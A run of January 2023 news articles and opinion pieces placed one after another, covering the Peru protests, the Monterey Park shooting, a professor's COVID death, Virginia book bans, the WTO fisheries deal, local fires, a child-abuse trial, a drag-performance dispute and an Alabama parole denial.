Protests in Perus capital continued into a fifth day on Monday as the demonstrators who traveled from across the country for the takeover of Lima have been brutally repressed through mass arrests, the use of tear gas, rubber bullets and beatings, and the deployment of armored vehicles.

Protesters march through Lima [Photo by Candy Sotomayor / CC BY-SA 4.0

As the US-backed regime of Dina Boluarte, which was installed in a coup in early December, met last Thursday afternoon with the UN High Commissioner for Human Rights, the police and military carried out a renewed onslaught against the peaceful demonstrators in Lima and elsewhere in the country, resulting in at least one death that day in Arequipa.

Several more protesters have been killed since, as the police continue to use live ammunition. There have been 56 confirmed deaths of civilians and one of a policeman, and hundreds have been injured. Other reports have placed the number killed by the security forces at 62 or more.

The epicenter of the protests remains the impoverished south. The largest demonstrations and most persistent roadblocks are taking place in the cities of Arequipathe second largest after LimaJuliaca, Ayacucho, Cusco and Tacna. While sporadic roadblocks have been reported in La Libertad and Amazonas, as well as a fire in an oil pipeline close to the Ecuadorian border, the north of the country and the formal mining, energy and industrial workers have not participated en masse in the protests.

The General Confederation of Peruvian Workers (CGTP) veered from initially recognizing the Boluarte regime to feigning support for the demonstrations and calling a series of national strikes. At the same time, however, the trade unions that belong to it have kept workers in all key sectors on the job, showing that they stand on the regimes side of the barricades in defending the profit interests of the transnational corporations and the oligarchy.

The heroism of the protesters notwithstanding, the limitations of seeking to disrupt economic activities and topple the regime through roadblocks, airport occupations and scattered marches are becoming clear. By their very nature, these tactics can be isolated and crushed by the armed forces. Similar tactics were followedin some cases more massively than in Peruin Nicaragua in 2018, Ecuador, Chile, Bolivia, and Honduras in 2019, Paraguay in 2021 and Colombia in 2021-2022, to the same effect.

As a result, the leadership of the Boluarte regime, the military and intelligence apparatus and, undoubtedly, behind them the US Embassy, felt confident enough to carry out the highly provocative move of crashing through the gates of Limas San Marcos National University with an armored vehicle and invading the campus with hundreds of heavily armed police on Saturday.

At the emblematic campus of the most important university in the countryand the oldest in the hemispherepolice arrested more than 200 students and demonstrators who had traveled from the interior and were being sheltered by the students. Those arrested at the university, including a mother and her eight-year-old child, were treated as terrorists, forced to lie on the ground before screaming police in scenes reminiscent of the darkest days of the Peruvian dictatorship of Alberto Fujimori in the 1990s, or even Chile in 1973.

The continued defiance of this murderous police-military violence by demonstrators drawn from the most impoverished and heavily indigenous regions of Peru has won the attention and admiration of workers and youth all over the world. But bravery is not enough. Despite being the largest wave of demonstrations in Peru in recent memory, without a revolutionary program and leadership, it cannot achieve the fundamental political and social aspirations driving the mass popular anger that is gripping the country.

There are several fundamental aspects of the current mobilizations that workers in Peru and internationally need to assess. Firstly, the protests are part of a global resurgence of the class struggle triggered by the policies of ruling elites. Everywhere, their aim is to intensify the exploitation of the working class and plunder semi-colonial countries like Peru to sustain the record profits of the financial and corporate oligarchy in US and Europe, pay for the repeated financial bailouts of the rich, and feed the US-NATO war drive for hegemony against Russia and China.

The Boluarte regime does not merely represent the Peruvian oligarchy, but it primarily oversees the interests of US and European imperialism. Washington and the European Union are working, both openly and behind the scenes, to bolster the regimes ability to pacify the country to safeguard the continued extraction of the strategic mineral wealth of Peru.

On January 9, as the police was carrying out a massacre of demonstrators in Juliaca, killing 19 demonstrators and injuring over 100 more, the US Embassy congratulated the Boluarte government for confiscating drugs, declaring that the State Department is glad to collaborate with the National Police in Peru, providing advanced training in the fight against drugs and organized crime.

In fact, the Biden administration has openly poured millions in aid into the Peruvian repressive apparatus during the crackdown and supported the state of emergency, which criminalizes the protests and involves the deployment of the military.

Last Thursday, the first day of the takeover of Lima, the US ambassador in Lima and CIA veteran Lisa Kenna met with Boluartes Energy and Mining Ministry in a high-level dialogue between Peru and the United States on the subjects of mining development.

The ministry officially thanked the support of the American government in the subjects of mining and energy and reasserted the determination of the national government to expand natural gas production and develop petrochemical production in the south of the country, the epicenter of the protests. Perus natural gas exports have almost doubled during the war in Ukraine and have gone primarily to Europe as an alternative to Russian energy.

Washingtons overriding concern over the Peruvian mass protests centers on their shutdown of massive mining operations, such as those of Glencore in Antapaccay and MMGs Las Bambas facility, and the continuing blockade of key highways linking the mines to port facilities. While the US Embassy issued a carefully worded statement lamenting the mass killing of protesters, behind the scenes the Pentagon and CIA are collaborating in the bloody repression in the defense of profit interests.

The leaderless character of the demonstrations makes them vulnerable to repression and also to their manipulation by sections of the regionalist and indigenous elites that belong to the venal bourgeoisie and have responded to the discrediting of the old traditional parties by advancing their own political platforms to negotiate corrupt deals with the mining companies and public contracts. The rise of President Pedro Castillo was the result of these processes.

Few Peruvians see the depiction by the regime and the media of the demonstrators as terrorists and pawns of the now defunct Sendero Luminoso Maoist guerrillas as anything but fascistic hogwash. However, support for guerrillaism, along with the promotion of the indigenous nationalism of Mariategui, bourgeois nationalism and syndicalism by the Stalinist Communist Party, the Maoist Communist Party-Bandera Roja and its split Patria Roja have had devastating effects on the socialist consciousness of workers in Peru.

In the name of left-wing politics and socialism, these organizations and their Morenoite and Pabloite partners worked for decades to channel social opposition behind one or another bourgeois politician, from the nationalist military dictator Juan Velasco Alvarado, and broad bourgeois coalitions like United Left (IU) in the early 1980s, to the pseudo-left Broad Front and Nuevo Peru in the last 15 years.

Most recently, employing the politics of lesser-evilism with respect to the far-right Fujimorists, the Stalinists have endorsed the right-wing former presidents Ollanta Humala, Alejandro Toledo, Pedro Pablo Kuczynski, Martin Vizcarra and Pedro Castillo. These repeated betrayals are responsible for politically disarming the working class and paving the way for the effective return of the Fujimorists to power behind the Boluarte coup regime.

While the current mass protests in Peru remain widespread, they are approaching a political dead end, and workers in Peru and internationally need to extract and act upon key historical lessons of this struggle.

Fundamentally, the only alternative to the nationalist and pro-capitalist politics of Stalinism and todays pseudo-left is the struggle for permanent revolution as elaborated by Leon Trotsky, who founded the only organized movement against the Stalinist degeneration of the Soviet Union and the Communist International.

Trotsky insisted that freedom from imperialist oppression, the abolition of landlordism, the securing of the land rights and welfare of indigenous and peasant communities and other democratic issues cannot be resolved by any faction of the national bourgeoisie. Only the working classunited across both the backwards and advanced countriescan secure genuine democracy and the social rights of workers by leading behind it the rural poor in a permanent revolution that overthrows capitalist profit relations and establishes socialism globally.

Everywhere, the objective conditions for the development of socialist consciousness in the working class have long ripened, but this development must be consciously fought for by a political leadership rooted in the historical lessons of the Russian Revolution of 1917 and the struggle against Stalinism waged by the Trotskyist movement, which is led today by the International Committee of the Fourth International.
A critically wounded victim injured during Saturday nights Monterey Park, California, massacre died at the Los Angeles County+USC Medical Center on Monday, driving the death toll from the mass shooting up to 11.

In a statement issued Monday by the Los Angeles County Department of Health Services on behalf of the hospital, the county said that one of the three victims at the hospital remains in serious condition while two other patients are recovering. At least three other victims are still being treated in local hospitals according to media reports.

People pay their respects outside Star Dance Studio for the victims killed in Saturday's mass shooting in Monterey Park, California Monday, January 23, 2023. [AP Photo/Jae C. Hong]

Twenty people were shot at the Star Ballroom Dance Studio Saturday night amid Lunar New Year celebrations being carried out by the predominately Asian community east of downtown Los Angeles. As of this writing, Saturdays killings mark the deadliest mass shooting in California since the 2018 Thousand Oaks shooting which left 12 people dead, and the largest mass shooting since the slaughter of 19 children and two school teachers in Uvalde, Texas, last year.

In a press conference Monday, California Governor Gavin Newsom said he met with some of the victims of the shooting at a local hospital. Newsom described talking with a victim in the ICU with shattered bones  that might not make it.

And while that young man is in the bed with shattered bones, hes saying, How many days do I have to be here because I cant afford this hospital? How many days am I going to be here because Im scared Im gonna lose my job in the warehouse? Can you help me? quickly adding, So Ive met with the victims and their families. And I hope we remember those folks too. Not just the people that died.

Despite Newsom and his fellow Democrats in the state legislature maintaining a supermajority, California, the fourth-largest economy in the world, like every other state in the US does not have single-payer guaranteed medical coverage for every resident.

On Monday, the Los Angeles County Department of Medical Examiner-Coroner identified two of the women killed in the shooting at the Star Dance Studio; My Nhan, 65, and Lilan Li, 63. The coroner said that all the deceased were in their 50s, 60s and 70s.

In a statement put out by the Nhan and Quan family, My Nhan, affectionately known as Mymy, was described as a loving aunt, sister, daughter and friend. Mymy was our biggest cheerleader.

She spent so many years going to the dance studio in Monterey Park on weekends. Its what she loved to do. But unfairly, Saturday was her last dance.

On Sunday, the Los Angeles County Sheriffs Department reported that Huu Can Tran, 72, was the chief suspect in the shooting at the Star Dance studio. According to police, late Sunday morning Tran was found dead in a van from a self-inflicted gunshot wound in Torrance, roughly 30 miles from the Lai Lai Ballroom & Studio, where Tran had attempted a second mass shooting after fleeing from the Monterey Park shooting. Police said on Sunday that they recovered a pistol in the van where Trans body was found.

That Saturdays killings did not result in significantly more fatalities is due entirely to the heroic actions of those participating in the event at the Lai Lai dance hall.

In an interview with Good Morning America, 26-year-old Brandon Tsay confirmed that as the evenings celebrations were wrapping up at the Lai Lai Ballroom in Alhambra, Tsay saw the gunman, later identified as Tran, walk into the studio and begin looking around the room as if he were looking for targets.

Tsay, who helps run the ballroom with his family, said he saw Tran start prepping the weapon and something came over me. I realized I needed to get the weapon away from him. I needed to take this weapon, disarm him or else everybody would have died. Tsay, who at the time was not aware of the shootings at the Star Dance Studio, described struggling to disarm Tran: He was hitting me across the face, bashing the back of my head.

Tsay, covered in bruises, described taking the gun away from Tran at which point he told Tran to get the hell out of here or else he would shoot him. I thought he would run away, but he was just standing there contemplating whether to fight or to run, Tsay recalled. I really thought I would have to shoot him and he came at me. This is when he turned around and walked out the door, jogged back to his van. I immediately called police with the gun still in my hand.

Los Angeles County Sheriff Robert Luna, who identified Tran as the shooter Sunday, said Tran intended to kill more people. Referring to the actions of Tsay, Luna said, They saved lives. This could have been much worse.

The gun used in Saturdays killings was identified by Luna on Monday as the Military Armament Corporation Model 10, or MAC-10, 9mm semi-automatic pistol. The weapon used by Tran had an extended magazine, capable of holding up to 30 rounds. Originally designed for the US military in 1964, the civilian version of the weapon was included in the 1994 US Assault Weapons Ban, which expired in 2004.

In a Sunday press conference, Luna said that he believes the weapon was not legal to own in California, which has some of the more restrictive gun laws in the United States.

Police have yet to release a motive in the shooting, however, on Monday it was revealed that Tran, who lived in a mobile home retirement community in Hemet, California, over 80 miles from the dance studios, had twice recently visited the Hemet Police Department to report serious allegations against his family members.

According to police, Tran first visited the Hemet Police station on January 7, 2023, and again on January 9, 2023. According to police, in each instance Tran alleged that his family members had stolen money from him and were in fact, trying to poison him. After each visit the police refused to do a follow-up or further investigation, despite the fact that Tran was making serious allegations indicative of either abuse, or a mental health crisis.

On Monday morning investigators executed search warrants on Trans home where they said they found more evidence linking him to both dance studios.

An anonymous police source, speaking to Los Angeles magazine, said that the initial investigation appeared to indicate that Trans rampage was a severe case of domestic violence. The law enforcement source told the publication that Tran was looking for his wife.

There is increasing evidence this was domestic violence, the source said.

In an interview with CNN, Trans ex-wife, who did not reveal her name and was not one of the victims of Saturdays shootings, said that she met her ex-husband at the Star Dance Studio and that Tran taught lessons there nightly in the early 2000s. After a brief marriage, Trans ex-wife said he filed for divorce in 2005.

She said her husband was not violent, but quick to anger, and that Tran had emigrated from China. She said he lived in the San Gabriel neighborhood, roughly five minutes from the dance studio, for two decades before moving to Hamlin.

Another former friend of Trans interviewed by CNN also said that before Tran moved to Hemet, he would go to the dance studio almost every night. In another indication of possibly deteriorating mental health, the former friend told CNN that Tran would often complain that other instructors at the dance hall did not like him and said evil things about him.

Twenty-three days into the new year, the Gun Violence Archive, which tracks gun deaths and mass shootings in the United States (characterized as four or more victims, not including the shooter), has recorded 37 mass shootings, or roughly 1.6 per day.

While not technically a mass shooting, on Monday in Des Moines, Iowa, at least two students were killed and a teacher remains in critical condition after a shooting at Starts Right Here, a 501(c)(3) tax-exempt nonprofit organization that provides education to at-risk students in the states capital.

In a press conference Monday, Sergeant Paul Parizek with the Des Moines Police Department said that three suspects believed to have been involved in the shooting were taken into custody. The incident was definitely targeted. It was not random, Parizek said.
Professor Greg Foley died on January 17 in the intensive care unit of Mater Hospital in Dublin, Ireland.

A husband and father of a 14-year-old son, Leo, Greg was just 59 when he passed away shortly after contracting COVID. He held the position of Associate Professor at the School of Biotechnology at Dublin City University (DCU). The Irish Times noted, Until succumbing to Covid he lived a full and varied life. A gifted student, he was a former UCD Newman Scholar and also went to Cornell University in the US on a scholarship. An engineering lecturer at DCUs school of biochemistry, he was an expert in designing membrane systems and in pedagogical approaches to learning.

Greg Foley (1963-2023) [Photo: @gregfoley2002]

Grey Foley contributed over 40 scientific papers to peer reviewed international journals from 1987 to 2016, with 13 in the top-ranked journal, Journal of Membrane Science. He delivered contributions at numerous academic conferences. In 2013, Cambridge University Press published his book, Membrane Filtration - A Problem solving approach with MATLAB.

On Gregs death, his nephew Simon Foley tweeted, RIP @gregfoley2002, the strongest and sweetest man I have ever known. I learned so much from him. The lasting impact he will leave on those who knew him was immeasurable. 1963-2023.

Paul Cahill, Head of the School of Biotechnology said in the DCUs announcement of Gregs passing, Greg was an Associate Professor of Bioprocess Engineering in the School of Biotechnology, DCU. He was admitted into hospital with Covid just after the New Year and fought a courageous battle until the end.

After contracting COVID in late December, Greg tweeted January 11, Starting an indefinite period of sick leave because Covid has hit me like a ton of bricks Immediate target to get out of the Mater in one piece.

Greg had cystic fibrosis and received a double-lung transplant some 20 years ago. In 2011, he received a kidney transplant, but when this organ failed in 2021 he was placed back on dialysis.

Gregs wife Julie Dowsett told the Irish Times that COVID was the straw that broke the camels back Covid changed everything. She explained, For a long time, he never left home. He did lectures from his bed in dialysis. Eventually, we went back into work due to cabin fever but it had taken so much out of him.

On January 12, just days before his death, Greg made the brave decision to chronicle his illness as a vulnerable patient on Twitter as a warning to others, and to oppose those, including in academia, who downplayed the severity of COVID. His Twitter postings over the years of the pandemic included a number opposing anti-vaxxers and others seeking to minimise the danger of COVID infection.

The January 12 series of 10 tweets went viral, viewed over 1.4 million times.

Gregs tweets began, Short thread on Covid and respiratory support. There are numerous grifters, and serious academics, out there who seem to think if the fatality stats are not that bad, then Covid is no big deal.

He added, So let's look at one aspect of Covid - the need for respiratory support. Many of the immunosuppressed who catch Covid will need this and there are quite a lot of us and we tend to have multiple morbidities.

The tweets included a photo of Greg as he receives oxygen through a nasal canula, as his situation worsened. Another photo showed Greg receiving oxygen via CPAP (continuous positive airway pressure). Under CPAP a patient receives oxygen via the nose and mouth. He wrote, This can be challenging if you're claustrophobic because the mask is very very tight and the air is forced in under pressure. It really requires you to settle in to it. But not easy.

His next tweet read, While on CPAP the bridge of your nose will get very sore and your mouth very dry but what can you do? I do two or three hours at a time. But there are occasions when I just want to rip it off.

In one of his final tweets, Greg explained the impact of this and offered advice to others who may be undergoing this ordeal.

Through these treatments you will be turned, washed and injected with drugs and all these minor activities send your o2 Sat's [oxygen saturation] into decline and you can experience real moments of panic. Here you need to communicate with your nurse and make sure he/she moves at a pace that suits.

Gregs final two tweets read, If none of that works, off you go to ICU for intubation where you will be sedated, and The grifters like @fatemperor ignore all this. Not an ounce of empathy.

The tweets elicited a powerful response, with Simon Foley writing, My wonderful uncle highlighting the importance of taking COVID seriously.

After Gregs final tweet, one reply read, Thats so desperately sad. Thank you for doing this - educating to the end.

Other responses included:

Those last words shall not be written in vain. Rest in Peace.

Rest in Peace, Professor Foley. Those with blood on their hands will face a reckoning some day.

RIP Greg Foley and thank you for using your last time on earth to inform people so directly what it is like to die from COVID-19.

What an insight into Greg's experience and that of others. No-one, least of all supposed experts, should minimise covid. RIP Greg Foley.

His honest and heartbreaking tweet should be broadcasted on all media to show the world the suffering from this horrible #COVID19 virus. My deepest condolences to his family. RIP Greg Foley

The rich and the politicians get the best of care while we get this.

Dr. Claire Taylor, a neuroscientist with special interest in Long Covid, responded to Gregs tweets on January 20, with the message, Im so sorry. Rest in peace. We will keep fighting for the medical vulnerable.

Dr. Taylor is a leading pioneer in the treatment of Long Covid and runs a clinic at Tayside Complete Health in Dundee for patients with Long Covid, and postural orthostatic tachycardia syndrome (POTS), myalgic encephalomyelitis (ME/CFS) and mast cell activation syndrome (MCAS).

According to Worldometers, Ireland has recorded 8,432 deaths during the pandemic, a substantial number in a country with a population of just over 5 million. Just short of 1.7 million people have been officially infected.

The Irish Times reported January 19, There were 129 deaths of people with Covid in October, 116 in November and 85 in December.

There were 410 admissions of patients with Covid to intensive care last year; 170 of these patients died and 233 were discharged alive. Some 88 of these patients are listed as being immunodeficient. One patient was in intensive care for 119 days before dying.

The WSWS sends its condolences to the family of Greg Foley.
First came Robert James Wallers bestseller The Bridges of Madison County about an Iowa womans affair with a photojournalist while her husband and kids are away at the state fair. The novel has a happy ending when she chooses to stay with her family.

Now comes The Abridgers of Madison County. In this nonfiction work, Christian nationalists in a Virginia county north of Charlottesville violate the constitutional separation of church and state by banning great literature from a public high school library. It will not have a happy ending unless a judge decides that religious extremists cannot turn their faith into public policy and force their beliefs on those who dont share them.

We warned in the past about the Madison County Board of Education and its book-banning ways. The latest plot twist came on Jan. 12 when the board banned 21 books from the Madison High School library. This means children will not be able to check out these books even with parental consent.

This decision mocks the concept of parental rights that led to the books being pulled from library shelves in the first place. The board required the volumes to be placed so that no student could check them out without the permission of their mom, dad or legal guardian.

What has now happened represents the brave new world of public school censorship brought to you by members of the evangelical right wing. These folks believe they are so much holier than you that they should be able to tell your kids what to read in public school.

What happened in Madison County is the logical conclusion to the misnamed parental rights campaign gimmick favored by many Republican politicians, including Virginia Gov. Glenn Youngkin. They say it is a parents right to opt out of books that they dont want used to teach their children. Now, the Madison School Board has substituted its beliefs for the judgment of thousands of mothers and fathers. This movement is not libertarian. It is authoritarian and about as un-American as it gets.

Thomas Jefferson trusted Americans ability to deal with an open forum of ideas. The First Amendment guarantees not just freedom of speech, but also freedom of religion.

Or in this case, freedom from religion.

As we noted the last time we wrote about the censorship movement in Madison, we believe the danger lies in letting people with ideological agendas and narrow minds determine what is fit to read. Professional librarians review the volumes they include in school collections in total context. What happened in Madison County, and what likely will happen in other places in Virginia where Christian nationalists take power, takes things out of context in ways that misrepresent what books are actually about.

Youngkin empowered this sort of selectivity by requiring schools to judge every book by whether it is sexually explicit. This plays neatly into evangelical control of content that has more to do with religious conservatives politics and prudery than with pornography. This approach turns a couple of sex scenes in several hundred pages of narrative into an excuse to dismiss an entire volume as inappropriately prurient.

This is how you get rid of prize-winning literature about racism, such as Tar Baby, The Bluest Eyes, Sula, and Love by Nobel Laureate Toni Morrison.

It is why Booker Prize winner Margaret Atwoods study of misogyny and rape, The Handmaids Tale, gets withheld as if it is titillating.

It explains the way the Madison School Board keeps Snow Falling on Cedars away from students. The novel is not about sex. It is an important, beautifully told tale about love and forgiveness in the wake of the Japanese-American internment and the trauma of white Americans who fought in the Pacific during World War II.

Critics gave Sherman Alexies The Absolutely True Diary of a Part-time Indian the National Book Award. The Madison School Board gave it the boot.

Heres hoping some brave parents of Madison High students sue to regain their parental and constitutional rights. Otherwise, public education in Virginia may find itself on a slippery slope toward stupidity.
DG Okonjo-Iweala said: I am very grateful to Switzerland for its leadership in being the first WTO member to submit its instrument of acceptance of the historic new Agreement on Fisheries Subsidies. Switzerland's action will create real momentum for more WTO members to formally accept the Agreement. Given that the landmark agreement was adopted during the 12th Ministerial Conference in 2022 held in Geneva, the location of the WTO, Switzerland is a fitting pioneer in the acceptance process, allowing the WTO to finally deliver our contribution to safeguarding global fish stocks and the livelihood and food security of millions of people worldwide.

Mr Parmelin said: Switzerland is the first WTO member to ratify the Agreement on Fisheries Subsidies. The prohibition of harmful marine capture subsidies is a major contribution of the multilateral trading system towards achieving the UN's sustainable development goals.

Adopted by consensus at the WTO's 12th Ministerial Conference (MC12) held in Geneva on 12-17 June 2022, the Agreement on Fisheries Subsidies sets new binding, multilateral rules to curb harmful subsidies, which are a key factor in the widespread depletion of the world's fish stocks. In addition, the Agreement recognizes the needs of developing and least-developed countries (LDCs) and establishes a Fund to provide technical assistance and capacity building to help them implement the Agreement.

The Agreement prohibits subsidies to illegal, unreported and unregulated (IUU) fishing, and bans subsidies for fishing overfished stocks and for fishing on the unregulated high seas. Members also agreed at MC12 to continue negotiations on outstanding issues, with a view to making recommendations by MC13 for additional provisions that would further enhance the disciplines of the Agreement.

Acceptances from two-thirds of WTO members are needed for the Agreement to come into effect.

The full text of the Agreement on Fisheries Subsidies can be accessed here.

Information for members on how to accept the Agreement is available here.
The Lebanon Fire District responded to two house fires and one fully involved motorhome blaze during a five-hour period early Monday morning, Jan. 23.

According to an agency news release, at around 2:45 a.m., firefighters responded to a potential house fire in the area of Tennessee Road after residents awoke to the sound of smoke detectors squawking and their home filled with smoke.

The battalion chief arrived on scene and found no fire showing in the ranch-style home. The incident commander noticed there were still occupants in the structure, according to the news release, and contacted the homeowner.

Before firefighters arrived, the homeowner had found the cause of the smoke: a melted plastic filter in the furnace. Crews checked the home for any fires and using a thermal imaging camera discovered above average heat temperatures in the furnace motor area, according to the release.

The homeowner secured the power to the furnace, LFD said, and firefighters cleared the scene after evaluating one resident for smoke inhalation.

Motorhome in flames

At around 5:28 a.m., crews were dispatched to a motorhome fire around the area of West A Street and South Sixth Street. The battalion chief arrived to find a fully involved RV next to a residence and camp trailer, the news release said.

Firefighters arrived on the agencys engine and ladder truck and brought the fire under control before overhauling the RV to completely extinguish the flames. Crews were on scene for around 1 hours, LFD said. No injuries were reported, and Lebanon police assisted with traffic control.

Another house fire

The final fire of the morning occurred at about 7:51 a.m. at a house in the rural area of Lacomb on Green Mountain Drive, according to the news release.

Firefighters from the agencys Lacomb substation arrived on the scene and discovered a house with smoke coming out from the eves and attic area.

Crews deployed a hose line and put a ladder to the gable end of the house, LFD said. A battalion chief arrived with additional fire crews and engines and water tenders. Crews started to investigate the source of the smoke.

Firefighters discovered the fire in the attic under insulation and near the flue of the familys woodstove and extinguished it, the news release said. Crews remained on scene for around two hours doing overhaul and investigated the cause of the fire, which is still unclear. No injuries were reported.

Quality journalism doesn't happen without your help Support local news coverage and the people who report it by subscribing to the Albany Democrat-Herald.

Pacific Power assisted at the scene and the Albany Fire Department provided coverage for the district.

The Lebanon Fire District would like to remind its residents of the importance of working smoke detectors and having your chimney cleaned and inspected, the agency said.
A 31-year-old Albany man will serve a minimum 37-year prison sentence after a jury convicted him of sexually abusing a 4-year-old child he was babysitting.

Attorneys argued Friday, Jan. 20 whether a boys emotional reaction to questioning on the witness stand showed his potential fear over being caught in a lie  or demonstrated trauma he experienced when a man forced himself on him.

Prosecutor Alex Olenick told the 12-person jury after three days of court proceedings the 13-year-old boys face reddened and eyes filled with tears because he is haunted by abuse from nearly a decade prior while in the care of Ryan Shew.

When I ask him that question, hes right back there, Olenick said. You can tell.

The crimes

Shew watched the boy for a few months in early 2014, up to nine hours at a time about four days each week while the childs mother worked retail.

The boy, now 13, told his mother in 2020 he was unable to sleep because he remembered the abuse that played out while cartoons reportedly played on a nearby TV.

Sometimes I couldnt sleep because it was the only thing I could think of, the boy said in court.

Albany police investigators took a report and referred the boy to questioning by a specialist at ABC House, a nonprofit childrens advocacy center.

Shew, hair trimmed to near-stubble, gazing from behind thin-framed glasses and a goatee, appeared impassive throughout the trial, including during testimony.

The boy said he didnt recognize Shew, seated nearby. He couldnt remember whether anyone else was present at the house Shew shared with his mother or what time of day he was there.

He didnt remember what pants he had on. He thought "South Park" was playing on TV.

The defense

But Shew, argued defense attorneys, has a genetic condition that could prevent him from sexually assaulting someone. Rex White and Tyler Reid declined to make an opening statement on the first day of the trial. On Thursday, Jan. 19, they revealed to the jury that Shew is diagnosed with Klinefelter syndrome.

Thats the name for the body condition resulting from a third, extra X chromosome present in the genetic coding of some babies that are genetic males.

Defense seized on typical symptoms to disavow Shews involvement in the accusations of abuse.

Bodies with extra X chromosomes often exhibit longer legs, shorter torsos, wider hips and less muscle mass than two-chromosome counterparts. They also frequently, comparatively, have less or lighter body and facial hair.

Quality journalism doesn't happen without your help Support local news coverage and the people who report it by subscribing to the Albany Democrat-Herald.

A pair of physicians attested in front of the jury that Shew has hypogonadism  genitals that did not fully develop because of a low level of testosterone.

A micropenis. Thats the medical terminology, White told Judge Brendan Kane.

The hormone, attorneys argued, also affects sexual desire.

Two physicians concluded, however, that Klinefelter's low testosterone and hypogonadism do not preclude sexual assault.

Being underdeveloped would not prevent either of the acts you described, said Kristian Balle, a dermatologist who was on the medical team that diagnosed Shews Klinefelter syndrome.

A mother's testimony

Colleen Shew, Shews mother, said her son didnt abuse the boy because she was always home. She left the house only to grocery shop, and that was always with her son, Shew told the prosecution.

Ryan Shew said about the same under questioning Friday.

He said he and the boy were only out of Colleen Shews line of sight for a minute or two  that his mother frequently watched TV with him or was nearby for diaper changes.

She never so much as took a shower when they had company in the house, Ryan Shew said.

You dont remember every single date? Olenick said.

Not from my entire life. No, Ryan Shew said.

Then how, Olenick asked, could he be so confident about events unfolding nearly a decade before.

I dont know, Ryan Shew said.

The jury deliberated for about four hours before finding Ryan Shew guilty of first-degree sodomy and two counts of first-degree sexual abuse.

Shew was acquitted on a second charge of first-degree sodomy.

Sodomy of a child under 12 years of age carries a mandatory penalty of 25 years in prison under Oregons minimum sentencing guidelines. Those guidelines require a minimum sentence of six years and three months for a first-degree sex abuse conviction.
Kaycee Adams, Faye King, and Artemis Grey (not pictured) perform Thursday at the Columbia Values Diversity breakfast, peforming the group number "Hold On For One More Day" by Wilson Phillips.

In a letter to Gov. Mike Parson, Columbia Public Schools Superintendent Brian Yearwood labeled criticism of a drag performance at the Jan. 19 Columbia Values Diversity Breakfast as "misinformation."

Characterizing the performance as child endangerment, being of a sexual nature or violating state law is simply false, Yearwood wrote in the letter dated Jan. 22. He copied Missouri Attorney General Andrew Bailey in the letter.

"As one example, I recently received a letter from the Attorney General that indicates confusion about the City of Columbias event," Yearwood wrote. "Any characterization of the Columbia Values Diversity Breakfast as 'child endangerment' or having a 'sexual nature' or violating state law is categorically false. Although CPS was unaware what the performance by Nclusion+ would entail, their program was not an 'adult' performance. This type of misrepresentation is harmful to our students, our staff, and our community."

Brian Yearwood, new Columbia Public Schools superintendent, poses for a photo.

Bailey sent a letter Friday to the city of Columbia and the school district criticizing the district to allow students at an "adult-themed drag show performance."

Parson and State Sen. Caleb Rowden also made statements against allowing students to attend the event.

The criticism appears to have originated with tweets and an article from the right-wing propaganda site "Libs of TikTok." Known for anti-LGBTQ rhetoric, the Anti-Defamation League states the events and organizations targeted by the group are frequent targets of harassment, threats and violence.

Seeming to confirm the ADL's statement, Columbia City Councilwoman Andrea Waner said in a tweet she had received an email saying they hope she would be taken to court and prison for "city-sponsored child sexual exploitation."

"I am committed to ensuring that our school system is educating, not indoctrinating, children, and that parents have a say in the process," Bailey wrote on Friday, adding that he would use every tool available to him to ensure students are safe and "receiving the education they deserve."

Story continues

Bailey wrote that the district could be in violation of a new law prohibiting providing sexual material to children.

Parson tweeted on Friday "Parents weren't clearly informed of the contents of the program and adult performances are not diversity."

Nclusion Plus, which produced the drag performance, said it was "G-rated," meaning appropriate for all audiences.

Students who had submitted works on diversity themes honoring and reflecting Martin Luther King Jr.'s efforts in promoting equality in the face of persistent bigotry were in the audience, Yearwood wrote.

There were around 30 CPS students attending, plus students from private and religious schools, Yearwood wrote.

Parents and guardians transported some students to the event, while older students drove themselves, said district spokeswoman Michelle Baumstark.

Yearwood wrote that the district received two parent complaints and officials have been in direct conversation with both families.

"CPS strives to learn from our conversations with parents and improve our best practices around outsideevents," Yearwood wrote. "Although we do not have control over the program at events organized by outside entities and cannot expect to have complete information in advance about what will occur at outside events, we are continuing to review our internal process and how to effectively share the advance information we do havewith our students and families."

Schools sought parent permission for students to attend, though it didn't have complete details of the city-sponsored event.

In his letter, Yearwood quoted from a 1947 essay by King titled "The Purpose of Education."

Education must enable one to sift and weigh evidence, to discern the true from the false, the real from the unreal and the facts from the fiction," Yearwood wrote, quoting King.

Yearwood extended an open invitation to meet to "discuss our common aspirations for scholars to achieve at high levels."

Boone County Clerk Brianna Lennon, on her personal Twitter feed, expressed support for the city for the program and for the school district.

"The pushback to @NclusionPlus performance can plant seeds of doubt about safety & inclusivity for our LGBTQIA+ community. It requires folks to state unequivocally that we are committed to creating a world where every child, family & person can thrive, authentically & w/o fear," she wrote.

The pushback to @NclusionPlus performance can plant seeds of doubt about safety & inclusivity for our LGBTQIA+ community. It requires folks to state unequivocally that we are committed to creating a world where every child, family & person can thrive, authentically & w/o fear.  Brianna Lennon (@briannalennon) January 23, 2023

Lennon encouraged people to contribute to Nclusion Plus, The Center Project and Journey Toward Inclusive Excellence.

"I hope that our students can learn from how we as adults model productive engagement within a community, separating fiction from fact so we can maintain focus on what is most important - the success of our scholars," Yearwood wrote.

Roger McKinney is the Tribune's education reporter. You can reach him at rmckinney@columbiatribune.com or 573-815-1719. He's on Twitter at @rmckinney9.

This article originally appeared on Columbia Daily Tribune: Yearwood: many claims about drag performance at breakfast are false
prison

Nearly two decades ago, Leola Harris was convicted of killing a homeless man shed befriended named Lennell Norris, who entered her residence and was shot shortly after. Since the 2001 murder, Harris has always maintained her innocence. Now, at 71 years old, with no prior criminal history and suffering from multiple life-threatening health issues, the elderly woman has been denied parole.

Last week, the Alabama Bureau of Pardons and Paroles decided against granting Harris freedom. She is confined to a wheelchair, dependent on dialysis and suffering from end-stage renal disease, among other concerns. In just six minutes, the board agreed she should continue serving her 35-year sentence, according to the Equal Justice Initiative. The organization added that during her time in confinement, she has proven to be a model citizen and poses no public threat. Unfortunately, Harris was not even allowed to attend her parole board hearing.

Felicia Hall-Grace, a registered nurse and case manager, testified on Harris behalf. The caretaker argued that the gravely ill woman would be better suited in a nursing home rather than the Alabama prison system. The Alabama Department of Corrections has even gone on record to say Harris has met the criteria for medical parole, however, board members remain unmoved. In a recent report by AP News, the outlet revealed 90 percent of eligible inmates were rejected last fiscal year  leaving Harris chances of making it out slim.

